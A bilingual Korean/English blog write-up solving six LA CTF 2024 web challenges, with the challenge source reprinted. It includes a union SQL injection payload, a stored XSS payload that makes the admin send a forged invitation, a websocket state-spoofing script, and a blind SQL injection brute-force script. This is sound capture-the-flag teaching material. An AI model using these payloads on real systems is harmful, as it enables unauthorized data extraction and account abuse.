One_Blog

2024 LA CTF Web writeup 본문

후기,라이트업

2024 LA CTF Web writeup

0xOne 2024. 2. 20. 01:24
728x90

wightup is provided in both English and Korean.

원래 일요일엔 아무것도 안하고 쉬는데, 뭔가 너무 심심해서 

 

CTF를 해보기로 했다. 마침 LA CTF가 열리고 있길래 풀어보게 되었다.

 

근데 문제 풀면서 든 생각인데, 진짜 각 잡고 풀었으면 뭔가 웹 올솔브..까진 아니어도 한 9솔브?는 했을 거 같다.

 

처음에 집에 와서 문제 잡고 5분만에 한 문제 풀고, (물론 700+ 솔브 문제였다..)

 

나머지 4문제를 2시간만에 풀었기 때문이다.

 

해외 CTF는 올해부터 본격적으로 해보기 시작했는데, 생각보다 재미있는 것 같다 ㅎㅎ

 

암튼간에 서론은 여기까지 하고, 이제 라이트업을 작성해보도록 하겠다.

 

2024 LA CTF Web All writeup

There may be typos or mistranslations.

 

Thank you very much for reading :)

 

Terms and Conditions

처음 접속하면 이런식으로 정말 눈 아픈 디자인이 반겨준다.

 

I Accept를 누르면 플래그를 줄 거 같지만.. 이 버튼이 내 커서를 피해다닌다.

 

그래서 Javascript 코드를 분석 해볼려고 콘솔창을 켜면, 이런식으로 "NO CONSOLE ALLOWED" 메시지가 뜬다.

 

When you first log in, you are greeted by a design that is truly eye-watering.

When I press Accept, it seems like it will give me a flag, but this button avoids my cursor.

So, when you open the console window to analyze Javascript code, a “NO CONSOLE ALLOWED” message appears.

 

 

해당 문제는 다양한 해결법이 존재하겠지만, 나는 처음 페이지를 받아올 때부터

 

내 커서를 피하는 기능이 정상작동 하지 못하도록 만드는 방법을 선택했다.

 

버프 슈트로 response 패킷을 캡처하고, 내 마우스 좌표를 추적하는 부분 코드를 0으로 하드코딩해버린다.

There may be various solutions to this problem, but  I chose a method to prevent

 

the function that avoids  my cursor from working properly.


I capture the response packet with Burp Suite, and hard-code the part of the code that tracks my mouse coordinates to 0.

 

그러면 버튼은 더 이상 움직이지 못하게 되고,

 

버튼을 눌러 플래그를 얻을 수 있다.

 

Then the button will no longer move,

You can get a flag by pressing the button.

lactf{that_button_was_definitely_not_one_of_the_terms}

 

gg

 

FLAGLANG

처음 접속하면 이런 화면이 반겨준다.

 

아마도 인삿말 번역 시스템 같은데.. 

 

아무래도 코드를 좀 분석해봐야 풀 방법을 알 수 있을 것 같다.

 

When you first access in, you will be greeted by this screen.

It's probably a greeting translation system.

I think I need to analyze the code to find out how to solve it.

 

 

const crypto = require('crypto');
const fs = require('fs');
const path = require('path');
const express = require('express');
const cookieParser = require('cookie-parser');
const yaml = require('yaml');

const yamlPath = path.join(__dirname, 'countries.yaml');
const countryData = yaml.parse(fs.readFileSync(yamlPath).toString());
const countries = new Set(Object.keys(countryData));
const countryList = JSON.stringify(btoa(JSON.stringify(Object.keys(countryData))));

const isoLookup = Object.fromEntries([...countries].map(name => [
  countryData[name].iso,
  {...countryData[name], name }
]));


const app = express();

const secret = crypto.randomBytes(32).toString('hex');
app.use(cookieParser(secret));

app.use('/assets', express.static(path.join(__dirname, 'assets')));

app.get('/switch', (req, res) => {
  if (!req.query.to) {
    res.status(400).send('please give something to switch to');
    return;
  }
  if (!countries.has(req.query.to)) {
    res.status(400).send('please give a valid country');
    return;
  }
  const country = countryData[req.query.to];
  if (country.password) {
    if (req.cookies.password === country.password) {
      res.cookie('iso', country.iso, { signed: true });
    }
    else {
      res.status(400).send(`error: not authenticated for ${req.query.to}`);
      return;
    }
  }
  else {
    res.cookie('iso', country.iso, { signed: true });
  }
  res.status(302).redirect('/');
});

app.get('/view', (req, res) => {
  if (!req.query.country) {
    res.status(400).json({ err: 'please give a country' });
    return;
  }
  if (!countries.has(req.query.country)) {
    res.status(400).json({ err: 'please give a valid country' });
    return;
  }
  const country = countryData[req.query.country];
  const userISO = req.signedCookies.iso;
  if (country.deny.includes(userISO)) {
    res.status(400).json({ err: `${req.query.country} has an embargo on your country` });
    return;
  }
  res.status(200).json({ msg: country.msg, iso: country.iso });
});

app.get('/', (req, res) => {
  const template = fs.readFileSync(path.join(__dirname, 'index.html')).toString();
  const iso = req.signedCookies.iso || 'US';
  const country = isoLookup[iso];
  res
    .status(200)
    .type('html')
    .send(template
      .replaceAll('$msg$', country.msg)
      .replaceAll('$name$', country.name)
      .replaceAll('$iso$', country.iso)
      .replaceAll('$countries$', countryList)
    );
});

app.listen(3000);

app.js

 

%YAML 1.1
---
Flagistan:
  iso: FL
  msg: "<REDACTED>"
  password: "<REDACTED>"
  deny: 
    ["AF","AX","AL","DZ","AS","AD","AO","AI","AQ","AG","AR","AM","AW","AU","AT","AZ","BS","BH","BD","BB","BY","BE","BZ","BJ","BM","BT","BO","BA","BW","BV","BR","IO","BN","BG","BF","BI","KH","CM","CA","CV","KY","CF","TD","CL","CN","CX","CC","CO","KM","CG","CD","CK","CR","CI","HR","CU","CY","CZ","DK","DJ","DM","DO","EC","EG","SV","GQ","ER","EE","ET","FK","FO","FJ","FI","FR","GF","PF","TF","GA","GM","GE","DE","GH","GI","GR","GL","GD","GP","GU","GT","GG","GN","GW","GY","HT","HM","VA","HN","HK","HU","IS","IN","ID","IR","IQ","IE","IM","IL","IT","JM","JP","JE","JO","KZ","KE","KI","KR","KP","KW","KG","LA","LV","LB","LS","LR","LY","LI","LT","LU","MO","MK","MG","MW","MY","MV","ML","MT","MH","MQ","MR","MU","YT","MX","FM","MD","MC","MN","ME","MS","MA","MZ","MM","NA","NR","NP","NL","AN","NC","NZ","NI","NE","NG","NU","NF","MP","NO","OM","PK","PW","PS","PA","PG","PY","PE","PH","PN","PL","PT","PR","QA","RE","RO","RU","RW","BL","SH","KN","LC","MF","PM","VC","WS","SM","ST","SA","SN","RS","SC","SL","SG","SK","SI","SB","SO","ZA","GS","ES","LK","SD","SR","SJ","SZ","SE","CH","SY","TW","TJ","TZ","TH","TL","TG","TK","TO","TT","TN","TR","TM","TC","TV","UG","UA","AE","GB","US","UM","UY","UZ","VU","VE","VN","VG","VI","WF","EH","YE","ZM","ZW"]

# i love chatgpt translation :3
Afghanistan:
  iso: AF
  msg: سلام دنیا
  deny: []
Aland Islands:
  iso: AX
  msg: Hallå världen
  deny: []
Albania:
  iso: AL
  msg: Përshëndetje botë
  deny: []
Algeria:
  iso: DZ
  msg: مرحبا بالعالم
  deny: []
American Samoa:
  iso: AS
  msg: Talofa lalolagi
  deny: []
Andorra:
  iso: AD
  msg: Hola món
  deny: []
Angola:
  iso: AO
  msg: Olá mundo
# ... More Information

countries.yaml

 

뭔가 복잡해보이지만,  딱봐도 Flagistan이라는 나라의 msg를 읽어야 함을 알 수 있다.

 

따라서 countries.yaml을 읽어서 관련 정보를 return해주는 엔드포인트를 분석하면 되는데..

 

It looks a bit complicated, but you can tell just by looking at it that you need to read the msg for a country called Flagistan.
Therefore, you can read countries.yaml and analyze the endpoint that returns related information.

 

app.get('/switch', (req, res) => {
  if (!req.query.to) {
    res.status(400).send('please give something to switch to');
    return;
  }
  if (!countries.has(req.query.to)) {
    res.status(400).send('please give a valid country');
    return;
  }
  const country = countryData[req.query.to];
  if (country.password) {
    if (req.cookies.password === country.password) {
      res.cookie('iso', country.iso, { signed: true });
    }
    else {
      res.status(400).send(`error: not authenticated for ${req.query.to}`);
      return;
    }
  }
  else {
    res.cookie('iso', country.iso, { signed: true });
  }
  res.status(302).redirect('/');
});

일단 /switch 엔드포인트는 country password를 검증하고 있고,

 

Flagistan은 password를 가지고 있기에 Path traversal 같은 취약점을 찾지 않는 이상 우회하기 어려워 보인다.

First, the /switch point authenticates the country password,


Since Flagistan has a password, it seems difficult to bypass unless you are looking for a vulnerability 

such as path traversal.

 

app.get('/view', (req, res) => {
  if (!req.query.country) {
    res.status(400).json({ err: 'please give a country' });
    return;
  }
  if (!countries.has(req.query.country)) {
    res.status(400).json({ err: 'please give a valid country' });
    return;
  }
  const country = countryData[req.query.country];
  const userISO = req.signedCookies.iso;
  if (country.deny.includes(userISO)) {
    res.status(400).json({ err: `${req.query.country} has an embargo on your country` });
    return;
  }
  res.status(200).json({ msg: country.msg, iso: country.iso });
});

/view 엔드포인트는 country의 deny 리스트에 사용자 쿠키 값이 포함되는 지 확인한 후,

 

포함된다면 에러 메시지와 함께 에러를 반환한다.

The /view endpoint checks whether the user cookie value is included in the country's deny list, then

If included, it returns an error with an error message.

Flagistan:
  iso: FL
  msg: "<REDACTED>"
  password: "<REDACTED>"
  deny: 
    ["AF","AX","AL","DZ","AS","AD","AO","AI","AQ","AG","AR","AM","AW","AU","AT","AZ","BS","BH","BD","BB","BY","BE","BZ","BJ","BM","BT","BO","BA","BW","BV","BR","IO","BN","BG","BF","BI","KH","CM","CA","CV","KY","CF","TD","CL","CN","CX","CC","CO","KM","CG","CD","CK","CR","CI","HR","CU","CY","CZ","DK","DJ","DM","DO","EC","EG","SV","GQ","ER","EE","ET","FK","FO","FJ","FI","FR","GF","PF","TF","GA","GM","GE","DE","GH","GI","GR","GL","GD","GP","GU","GT","GG","GN","GW","GY","HT","HM","VA","HN","HK","HU","IS","IN","ID","IR","IQ","IE","IM","IL","IT","JM","JP","JE","JO","KZ","KE","KI","KR","KP","KW","KG","LA","LV","LB","LS","LR","LY","LI","LT","LU","MO","MK","MG","MW","MY","MV","ML","MT","MH","MQ","MR","MU","YT","MX","FM","MD","MC","MN","ME","MS","MA","MZ","MM","NA","NR","NP","NL","AN","NC","NZ","NI","NE","NG","NU","NF","MP","NO","OM","PK","PW","PS","PA","PG","PY","PE","PH","PN","PL","PT","PR","QA","RE","RO","RU","RW","BL","SH","KN","LC","MF","PM","VC","WS","SM","ST","SA","SN","RS","SC","SL","SG","SK","SI","SB","SO","ZA","GS","ES","LK","SD","SR","SJ","SZ","SE","CH","SY","TW","TJ","TZ","TH","TL","TG","TK","TO","TT","TN","TR","TM","TC","TV","UG","UA","AE","GB","US","UM","UY","UZ","VU","VE","VN","VG","VI","WF","EH","YE","ZM","ZW"]

 

하지만 이렇게 Flagistan은 모든 값을 deny 하는 것을 확인할 수 있다.

 

하지만 사용자의 쿠키 값이 비어있을 때는 따로 처리하지 않기 때문에, 쿠키를 비워둔 채로

 

/view?country=Flagistan으로 요청을 보내면 플래그를 받을 수 있다.

However, you can see that Flagistan denies all values ​​like this.

However, when the user's cookie value is empty, it is not processed separately, so the cookie is left empty.

You can get the flag by sending a request to /view?country=Flagistan.

 

lactf{n0rw3g7an_y4m7_f4ns_7n_sh4mbl3s}

 

gg

 

la housing portal

처음 접속하면 이런식으로 정보를 입력받고, 해당 정보와 매칭 되는 유저를 탐색하여 반환해준다.

 

이건 안봐도 SQL Injection 같지만, 그래도 일단 코드를 보도록 하겠다.

When you first connect, information is entered in this way, and users matching the information are searched for and returned.

Even if you don't look at this, it looks like SQL Injection, but let's take a look at the code first.

 

import sqlite3
from flask import Flask, render_template, request

app = Flask(__name__)

@app.route("/")
def home():
    return render_template("index.html")

@app.route("/submit", methods=["POST"])
def search_roommates():
    data = request.form.copy()

    if len(data) > 6:
        return "Invalid form data", 422
    
    
    for k, v in list(data.items()):
        if v == 'na':
            data.pop(k)
        if (len(k) > 10 or len(v) > 50) and k != "name":
            return "Invalid form data", 422
        if "--" in k or "--" in v or "/*" in k or "/*" in v:
            return render_template("hacker.html")
        
    name = data.pop("name")

    
    roommates = get_matching_roommates(data)
    return render_template("results.html", users = roommates, name=name)
    

def get_matching_roommates(prefs: dict[str, str]):
    if len(prefs) == 0:
        return []
    query = """
    select * from users where {} LIMIT 25;
    """.format(
        " AND ".join(["{} = '{}'".format(k, v) for k, v in prefs.items()])
    )
    print(query)
    conn = sqlite3.connect('file:data.sqlite?mode=ro', uri=True)
    cursor = conn.cursor()
    cursor.execute(query)
    r = cursor.fetchall()
    cursor.close()
    return r

# def get_flag():
#     conn = sqlite3.connect('file:data.sqlite?mode=ro', uri=True)
#     cursor = conn.cursor()
#     cursor.execute("select * from flag;")
#     r = cursor.fetchall()
#     cursor.close()
#     return r

app.py

일단 /submit에 데이터를 POST로 보내면 SQL 구문에 데이터가 Key=Value 형태로 직접 포함되는 것을 알 수 있다.

 

그리고 Key가 6개 초과라면 에러를 반환하고, 

 

각 Key와 Value의 길이가 10, 50을 넘는다면 에러를 반환한다.

 

Value 길이가 50을 넘는다면 에러를 반환하는 부분에서 조금 헤맸는데,

 

union sql injection으로 쉽게 해결할 수 있었다.

 

원래 처음엔 쓸데 없는 데이터는 다 날리고 보낼려고 했는데, 400 Bad Request 에러가 났다.

 

어차피 Value값이 na면 pop()되어서 SQL구문에 포함되지 않으니, 페이로드를 삽입할 부분만 남기고 모두 Na로 값을 설정한 후 

 

페이로드를 보내줬다.

 

최종 페이로드는 다음과 같다.

 

 

Once you POST the data to /submit, you can see that the data is directly included in the SQL syntax in the form of Key=Value.
And if there are more than six keys, return the error,

Returns an error if the lengths of each Key and Value exceed 10 and 50.

If the value length exceeds 50, I was a little lost in returning the error,
It could be easily solved by union sql injection.

Originally, I was going to send all the useless data away at first, but there was a 400 Bad Request error.

If the value is na anyway, it becomes pop() and is not included in the SQL phrase, so only the part to insert the payload is left and all are set to Na.

The final payload is as follows.

 

' union select 1,flag,3,4,5,6 from flag  where '1

(SQL 구문은 꼭 guests에 포함되지 않아도 됩니다.)

(SQL syntax does not necessarily have to be included in guests.)

|

|

V

(실행되는 SQL 구문)

(SQL statement executed)

select * from users where Name='' AND guests='' union select 1,flag,3,4,5,6 from flag  where '1' LIMIT 25

 

lactf{us3_s4n1t1z3d_1npu7!!!}

gg

 

new-housing-portal

 

매우 간단한 XSS 문제이다.

 

쉬운 설명을 위해 코드를 먼저 분석하겠다.

 

const crypto = require('crypto');
const express = require('express');
const cookieParser = require('cookie-parser');

const app = express();

const secret = process.env.SECRET || crypto.randomBytes(32).toString('hex');

app.use(cookieParser(secret));
app.use(express.urlencoded({ extended: false }));

const users = new Map();

app.use((req, res, next) => {
  res.locals.user = users.get(req.signedCookies.auth) ?? null;
  next();
});

const needsLogin = (req, res, next) => {
  if (!res.locals.user) {
    res.redirect('/login/?err=' + encodeURIComponent('login required'));
  } else {
    next();
  }
}

users.set('samy', {
  username: 'samy',
  name: 'Samy Kamkar',
  deepestDarkestSecret: process.env.FLAG || 'lactf{test_flag}',
  password: process.env.ADMINPW || 'owo',
  invitations: [],
  registration: Infinity
});

app.post('/register', (req, res) => {
  const username = req.body.username?.trim();
  const password = req.body.password?.trim();
  const name = req.body.name?.trim();
  const deepestDarkestSecret = req.body.deepestDarkestSecret?.trim();

  if (users.has(username)) {
    res.redirect('/login/?err=' + encodeURIComponent('username already exists'));
    return;
  }
  
  const user = {
    username,
    name,
    password,
    deepestDarkestSecret: 'todo',
    invitations: [],
    registration: Date.now()
  };

  users.set(username, user);
  res
    .cookie('auth', username, { signed: true, httpOnly: true })
    .redirect('/');
});

app.post('/login', (req, res) => {
  const username = req.body.username?.trim();
  const password = req.body.password?.trim();

  if (!users.has(username)) {
    res.redirect('/login/?err=' + encodeURIComponent('username does not exist'));
    return;
  }

  if (users.get(username).password !== password) {
    res.redirect('/login/?err=' + encodeURIComponent('incorrect password'));
    return;
  }

  res
    .cookie('auth', username, { signed: true, httpOnly: true })
    .redirect('/');
});

app.post('/finder', needsLogin, (req, res) => {
  const username = req.body.username?.trim();

  if (!users.has(username)) {
    res.redirect('/finder?err=' + encodeURIComponent('username does not exist'));
    return;
  }

  users.get(username).invitations.push({
    from: res.locals.user.username,
    deepestDarkestSecret: res.locals.user.deepestDarkestSecret
  });

  res.redirect('/finder?msg=' + encodeURIComponent('invitation sent!'));
});

app.get('/user', (req, res) => {
  const query = req.query.q;

  if (!users.has(query)) {
    res.json({ err: 'username not found' });
    return;
  }

  const { username, name } = users.get(query);

  res.json({ username, name });
});

app.get('/invitation', needsLogin, (req, res) => {
  res.json({ invitations: res.locals.user.invitations });
});

app.get('/', needsLogin);
app.get('/finder', needsLogin);
app.get('/request', needsLogin);

app.use('/', express.static(__dirname));

app.listen(3000, () => console.log('http://localhost:3000'));

server.js

users.set('samy', {
  username: 'samy',
  name: 'Samy Kamkar',
  deepestDarkestSecret: process.env.FLAG || 'lactf{test_flag}',
  password: process.env.ADMINPW || 'owo',
  invitations: [],
  registration: Infinity
});

딱봐도 samy의 deepestDarkestSecret 데이터를 읽어야함을 알 수 있다.

 

It can be seen that you need to read the samy's deepestDarkestSecret data.

 

처음 서버에 접속해보면, 이런식으로 유저이름, 패스워드, 이름, Deepest Darkest Secret을 받아서

 

그걸로 회원가입하고, 로그인할 수 있음을 알 수 있다.

 

대충 아무 정보나 넣고 가입해보면, 아래와 같은 창이 뜬다.

 

When you first go to the server, you get the user name, password, name, Deepest Darkest Secret


You can see that you can sign up and log in with that.

If you roughly enter any information and sign up, the following window appears.

Find Roomates 부분에서는 닉네임으로 유저를 검색하고, 유저 정보가 나온다.

 

근데 이때 Name과 Username이 아무런 필터링 없이 HTML 문서에 출력되기 때문에,

 

Name과 Username을 통해 XSS가 가능하다.

 

In the Find Roomates section, users are searched by nicknames and user information is displayed.

But at this time, the Name and Username are printed in the HTML document without any filtering,

XSS is possible through Name and Username.

그리고 처음에 Samy의 Deepest Darkest Secret Data를 읽어야 한다고 했는데,

 

이는 Samy에게 초대를 받으면 해당 데이터를 읽을 수 있게 된다.

And at first, I said I should read Samy's Deepest Darkest Secret Data,
This will allow you to read the data when you are invited by Samy.

 

이건 View Invitations 부분인데, 이런식으로 자신을 초대한 사람의 Deepest Darkest Secret을 볼 수 있다.

 

그렇다면 우리가 해야할 것은, XSS를 통해 Samy가 우리를 초대하게 해야함을 알 수 있다.

 

This is the View Invitations section, and you can see the Deepest Darkest Secret of the person who invited you.

 

If so, what we need to do is to let Samy invite us through XSS.

 

Username : lactfislol
Password : aa
Name : <img src=x onerror="fetch('https://new-housing-portal.chall.lac.tf/finder',{ method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'username=lactfislol' })">
Deepest Darkest Secret : hi

Username, Name을 통해 XSS가 가능한데,

 

초대를 전송할 때 Username을 사용하므로, Name에 XSS 구문을 삽입한다.

 

이런식으로 회원가입을 한 후에, Find Roomates에서 내 이름을 검색해보면,

 

XSS is possible through Username and Name.
Since Username is used when sending invitations, insert XSS syntax in Name.
After signing up like this, if you search my name in Find Roomates,

 

이런식으로 XSS가 트리거 되는 것을 확인할 수 있다.

 

URL을 그대로 복사해서 report하러 가보자.

It can be confirmed that XSS is triggered.
Let's copy the URL, and report it.

https://new-housing-portal.chall.lac.tf/finder/?q=lactfislol

lactf{b4t_m0s7_0f_a77_y0u_4r3_my_h3r0}

gg

 

Pogn

그냥 핑퐁게임에서 이기면 플래그를 얻을 수 있다.

 

하지만 절대 이길 수 없게 구성되어 있어서, 서버 로직을 분석하고 게임을 이길 수 있도록 코드를 짜야 한다.

 

CTF할 때 귀찮아서 안하고, 지금 코드를 짜서 해보았다.

 

If you just win a ping pong game, you can get a flag.

However, it is configured to never win, so you need to analyze the server logic and code it to win the game.

I did don't it because I was lazy when I did CTF, and I tried it now with a code.

Game Screen

const express = require('express');
const expressWs = require('express-ws');
const path = require('path');
const fs = require('fs');

const flag = process.env.FLAG || 'lactf{test_flag}';

const app = express();

expressWs(app);

app.use('/assets', express.static(path.join(__dirname, '../assets')));
app.use('/', express.static(__dirname));

app.ws('/ws', (ws, req) => {
  const yMax = 30;
  const collisionDist = 5;
  const Msg = {
    GAME_UPDATE: 0,
    CLIENT_UPDATE: 1,
    GAME_END: 2
  };

  // game state
  let me = [95, 0];    // my paddle position
  let op = [0, 0];     // user's paddle position
  let opV = [0, 0];    // user's paddle velocity
  let ball = [50, 0];  // balls location
  let ballV = [+5, 0]; // balls speed

  // basic number ops
  const min = (a, b) => (a < b) ? a : b;
  const max = (a, b) => (a > b) ? a : b;
  const clamp = (x, low, high) => min(max(x, low), high);

  // vector ops
  const add = ([x1, y1], [x2, y2]) => [x1 + x2, y1 + y2];
  const sub = ([x1, y1], [x2, y2]) => [x1 - x2, y1 - y2];
  const mul = ([x1, y1], k) => [k * x1, k * y1];
  const bmul = ([x1, y1], [x2, y2]) => [x1 * x2, y1 * y2];
  const norm = ([x, y]) => Math.sqrt(x ** 2 + y ** 2);
  const normalize = (v) => mul(v, 1 / norm(v));

  // validation
  const isNumArray = (v) => Array.isArray(v) && v.every(x => typeof x === 'number');

  let prev = Date.now();
  const interval = setInterval(() => {
    try {
      const dt = (Date.now() - prev) / 100;
      prev = Date.now();

      // move server's paddle to be same y as the ball
      me[1] = ball[1];

      // give ball some movement if it stagnates
      if (Math.abs(ballV[0]) < 0.5) {
        ballV[0] = Math.random() * 2;
      }

      // collision with user's paddle
      if (norm(sub(op, ball)) < collisionDist) {
        ballV = add(opV, mul(normalize(sub(ball, op)), 1 / norm(ballV)));
      }

      // collision with server's paddle
      if (norm(sub(me, ball)) < collisionDist) {
        ballV = add([-3, 0], mul(normalize(sub(ball, me)), 1 / norm(ballV)));
      }

      // update ball position
      ball[0] += ballV[0] * dt;
      ball[1] += ballV[1] * dt;

      // wall bouncing
      if (ball[1] < -yMax || ball[1] > yMax) {
        ball[1] = clamp(ball[1], -yMax, yMax);
        ballV[1] *= -1;
      }

      // check if there has been a winner
      // server wins
      if (ball[0] < 0) {
        ws.send(JSON.stringify([
          Msg.GAME_END,
          'oh no you have lost, have you considered getting better'
        ]));
        clearInterval(interval);

      // game still happening
      } else if (ball[0] < 100) {
        ws.send(JSON.stringify([
          Msg.GAME_UPDATE,
          [ball, me]
        ]));

      // user wins
      } else {
        ws.send(JSON.stringify([
          Msg.GAME_END,
          'omg u won, i guess you considered getting better ' +
          'here is a flag: ' + flag,
          [ball, me]
        ]));
        clearInterval(interval);
      }
    } catch (e) {}
  }, 50); // roughly 20fps

  ws.on('message', (data) => {
    try {
      const msg = JSON.parse(data);
      if (msg[0] === Msg.CLIENT_UPDATE) {
        const [ paddle, paddleV ] = msg[1];
        if (!isNumArray(paddle) || !isNumArray(paddleV)) return;
        op = [clamp(paddle[0], 0, 50), paddle[1]];
        opV = mul(normalize(paddleV), 2);
      }
    } catch (e) {}
  });

  ws.on('close', () => clearInterval(interval));
});

app.listen(3000);

server.js

 

서버 로직을 분석해보면, 소켓 방식으로 서버와 통신하는 것을 알 수 있고, 

 

공의 X좌표가 0이거나 100보다 커야 플레이어가 이기는 것을 알 수 있다.

 

analyzing the server logic, you can know that communicate with the server in the socket method.
You can win that the X coordinates are 0 or more than 100 or 100 or more.

 

if (ball[0] < 0) {
        ws.send(JSON.stringify([
          Msg.GAME_END,
          'oh no you have lost, have you considered getting better'
        ]));
        clearInterval(interval);

      // game still happening
      } else if (ball[0] < 100) {
        ws.send(JSON.stringify([
          Msg.GAME_UPDATE,
          [ball, me]
        ]));

      // user wins
      } else {
        ws.send(JSON.stringify([
          Msg.GAME_END,
          'omg u won, i guess you considered getting better ' +
          'here is a flag: ' + flag,
          [ball, me]
        ]));
        clearInterval(interval);
      }

 

서버에서 공의 위치, 패들 위치를 클라이언트 측으로부터 넘겨받으니,

 

공의 위치를 조작하면 게임에서 이길 수 있다.

 

하지만 내가 막 999,0이런 말도 안되는 좌표를 보내도, 서버에서 이전 공의 좌표를 반영하여 공의 위치를 결정하기에 

 

공의 좌표를 100을 넘기게 하는 것은 조금 어려워 보인다.

 

따라서 우리는 다른 승리 조건인 "공의 X좌표를 0으로 만들기"를 수행하면 된다.

 

최종 공격코드는 다음과 같다.

 

 

 

The server receives the ball and paddle positions from the client,

You can win the game by manipulating the position of the ball.

However, even if I just send ridiculous coordinates like 999,0, the server determines the ball's location by reflecting the previous ball's coordinates.

It seems a little difficult to make the ball's coordinates exceed 100.

Therefore, we just need to perform the other win condition: “Make the X coordinate of the ball 0.”

 

The final attack code is as follows.

from websocket import create_connection
ws = create_connection("ws://pogn.chall.lac.tf/ws")
while True:
    ws.send(b'[1,[[0,0],[0,0]]]')
    response=ws.recv()
    print(response)
    if response[0] == 2:
        print("[+] FLAG : ",response)
        ws.close()
        exit(0)

내 좌표는 아무렇게나 보내고, 공의 위치를 0,0으로 계속 고정시켜주면 된다.

Just send my coordinates randomly and keep the ball's position fixed at 0,0.

lactf{7_supp0s3_y0u_g0t_b3773r_NaNaNaN}

gg

 

penguin-login

분석하기 너무 쉬운 문제였다.

It was a very easy problem to analyze.

import string
import os
from functools import cache
from pathlib import Path

import psycopg2
from flask import Flask, request

app = Flask(__name__)
flag = Path("/app/flag.txt").read_text().strip()

allowed_chars = set(string.ascii_letters + string.digits + " 'flag{a_word}'")
forbidden_strs = ["like"]


@cache
def get_database_connection():
    # Get database credentials from environment variables
    db_user = os.environ.get("POSTGRES_USER")
    db_password = os.environ.get("POSTGRES_PASSWORD")
    db_host = "db"

    # Establish a connection to the PostgreSQL database
    connection = psycopg2.connect(user=db_user, password=db_password, host=db_host)

    return connection


with app.app_context():
    conn = get_database_connection()
    create_sql = """
        DROP TABLE IF EXISTS penguins;
        CREATE TABLE IF NOT EXISTS penguins (
            name TEXT
        )
    """
    with conn.cursor() as curr:
        curr.execute(create_sql)
        curr.execute("SELECT COUNT(*) FROM penguins")
        if curr.fetchall()[0][0] == 0:
            curr.execute("INSERT INTO penguins (name) VALUES ('peng')")
            curr.execute("INSERT INTO penguins (name) VALUES ('emperor')")
            curr.execute("INSERT INTO penguins (name) VALUES ('%s')" % (flag))
        conn.commit()


@app.post("/submit")
def submit_form():
    conn = None
    try:
        username = request.form["username"]
        conn = get_database_connection()

        assert all(c in allowed_chars for c in username), "no character for u uwu"
        assert all(
            forbidden not in username.lower() for forbidden in forbidden_strs
        ), "no word for u uwu"

        with conn.cursor() as curr:
            curr.execute("SELECT * FROM penguins WHERE name = '%s'" % username)
            result = curr.fetchall()

        if len(result):
            return "We found a penguin!!!!!", 200
        return "No penguins sadg", 201

    except Exception as e:
        return f"Error: {str(e)}", 400

    # need to commit to avoid connection going bad in case of error
    finally:
        if conn is not None:
            conn.commit()


@app.get("/")
def index():
    return """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Penguin Login</title>
</head>
<body style="background-image: url(https://external-content.duckduckgo.com/iu/?u=http%3A%2F%2F1.bp.blogspot.com%2F-XVeENb41J0o%2FU8pY9kr6peI%2FAAAAAAAAM7Y%2F2h28ZEQ7mKs%2Fs1600%2F3.%2BThis%2Bshuffle.%2B-%2B17%2BTimes%2BBaby%2BPenguins%2BReached%2BDangerous%2BLevels%2BOf%2BCuteness.%2BBe%2BAfraid..gif&f=1&nofb=1&ipt=4800f83a172449a4f6d683d33bd7a208d29d214e4dee637302947dff1508e5bc&ipo=images)">
    <form action="/submit" method="POST">
        <input type="text" name="username" style="width: 80vw">
    </form>
</body>
</html>
""", 200

if __name__ == "__main__":
    app.run(debug=True)

app.py

 

딱봐도 이부분에 있는 flag를 추출해야하는 것을 알 수 있다.

Just by looking at it, you can see that the flag in this part needs to be extracted.

curr.execute("INSERT INTO penguins (name) VALUES ('%s')" % (flag))

 

그리고 여기서 SQL Injection이 가능함을 알 수 있었다.

And here you can see that SQL Injection is possible.

curr.execute("SELECT * FROM penguins WHERE name = '%s'" % username)

 

하지만 제약 사항이 몇가지 있었는데..

 

ascii letters + digits, _, {}, ', 외에는 문자를 사용하지 못한다는 것이었다.

The point was that letters other than ascii letters + digits, _, {}, ', could not be used.

allowed_chars = set(string.ascii_letters + string.digits + " 'flag{a_word}'")
forbidden_strs = ["like"]

 

또한 약간의 분석을 통해 Mysql이 아닌 Postgresql을 사용중임을 알 수 있었다.

 

일단 LIKE를 사용못하고, 괄호도 사용을 못했다. 그래서 내가 선택한 방법은 "SIMILAR TO"를 이용하는 것이었다.

 

"SIMILAR TO"는 Postgresql에서 사용되는 LIKE와 비슷한 기능이다.

 

최종 익스코드는 다음과 같다.

 

 

Also, through a little analysis, I found out that Postgresql was being used, not Mysql.

First of all, I couldn't use LIKE and I couldn't use parentheses. So the method I chose was to use "SIMILAR TO".

"SIMILAR TO" is a LIKE-like function used in Postgresql.

The final Excode is as follows:

 

import requests
import string
flag = ""
url = "https://penguin.chall.lac.tf/submit"

flag_length = 45
# flag length check
for i in range(10,100):
    data = {
        'username':f"' or name SIMILAR TO '{'_'*i}"
    }
    response = requests.post(url, data=data)
    if len(response.text) == 23:
        print(f"[+] FLAG Length is {i}")
        flag_length = i
        break
    
chars = list(string.ascii_letters + string.digits + " 'flagaword'" + "_")
flag = "lactf{"
while True:
    for c in chars:
        data = {
            'username':f"' or name SIMILAR TO '{flag+c + '_'*(flag_length - len(flag+c))}"
        }
        response = requests.post(url, data=data)
        if len(response.text) == 23:
            print(f"[+] FLAG is {flag + c}")
            flag += c
            break
        if flag[-1] == "}":
            print(f"[+] Found! FLAG is {flag}")
            exit(0)
        else:
            print(c,"is Not Flag")
# lactf{90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0}

 

%를 사용하지 못하기에 대신 _을 사용하였다.

 

근데 조그마한 문제가 있었다.

 

Postgresql에서 {와 }는 문자 그대로의 {나 }가 아닌, 문자 등장 횟수를 나타내는 표현식으로 사용되던 것이다.

 

그래서 추출된 플래그는 lactf{_0stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0} 이런 식으로 나왔는데,

 

{때문에 첫 글자를 추출할 수가 없었다.

 

그래서 {를 _로 바꾼 후에, 직접 서버에서 한 글자 한 글자 돌려보며 최종 플래그를 추출할 수 있었다.

 

다른 사람 풀이보니까 \x39인가 그런 식으로 쓰기도 하던데.. 자세한 건 추가적으로 찾아보길 바란다.

 

Since % could not be used, _ was used instead.
But there was a small problem.

In PostgreSQL, { and } are not used as literal { or }, but as expressions representing the number of occurrences of a character.
So the extracted flag came out like this: lactf{_0stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0}
Because {, the first letter could not be extracted.

